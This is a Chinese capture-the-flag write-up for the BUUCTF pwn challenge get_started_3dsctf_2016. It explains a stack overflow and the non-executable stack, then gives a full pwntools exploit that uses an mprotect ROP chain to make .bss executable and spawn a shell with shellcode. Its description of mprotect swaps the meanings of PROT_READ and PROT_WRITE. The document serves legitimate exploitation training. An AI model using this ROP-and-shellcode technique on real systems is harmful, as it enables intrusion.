BUUCTF get_started_3dsctf_2016(mprotect)

在这里插入图片描述
典型的栈溢出

而且还留了后门
在这里插入图片描述
在本地可以拿到flag.txt文件,但是远程不行!

在这里插入图片描述
栈不可执行
在这里插入图片描述

原型:
int mprotect(const void *start, size_t len, int prot)
start:需改写属性的内存中开始地址
len:需改写属性的内存长度
prot:需要修改为的指定值

功能: mprotect()函数可以用来修改一段指定内存区域的保护属性。 他把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。 prot可以取以下几个值:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。
注意:指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,即4K对齐

exp

from pwn import *

context.log_level = 'debug'
context.arch = 'i386'

proc_name = './get_started_3dsctf_2016'
p = process(proc_name)
# p = remote('node3.buuoj.cn', 27964)
elf = ELF(proc_name)
print(proc.pidof(p))
if args.L:
	main_addr = elf.symbols['main']
	get_flag_addr = elf.symbols['get_flag']
	payload = 'a'.encode() * (0x38)+ p32(get_flag_addr) + p32(main_addr) + p32(814536271)+p32(425138641)

	p.sendline(payload)
	print(p.recv())
	# p.interactive()

else:
	mprotect_addr = elf.symbols['mprotect']
	# 三个rop任意选一个即可
	pop1_ebx_esi_edi_ret = 0x080509a5
	pop2_esi_edi_ebp_ret = 0x0804951d
	pop3_edi_esi_ebx_ret = 0x08063adb
	bss_start = elf.bss() & ~(elf.bss()% (4 * 1024))
	print(bss_start)
	bss_size = 0x400
	bss_per = 0x7 # 0b111
	read_addr = elf.symbols['read']
	payload = 'a'.encode() * (0x38) + p32(mprotect_addr) + p32(pop3_edi_esi_ebx_ret) + p32(bss_start) + p32(bss_size) + p32(bss_per) + p32(read_addr) + p32(bss_start) + p32(0x0) + p32(bss_start) + p32(bss_size)
	print(payload)
	p.sendline(payload)
	payload1 = asm(shellcraft.sh())
	p.sendline(payload1)
	p.interactive()

本地权限
在这里插入图片描述
远程
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_43833642/article/details/106663286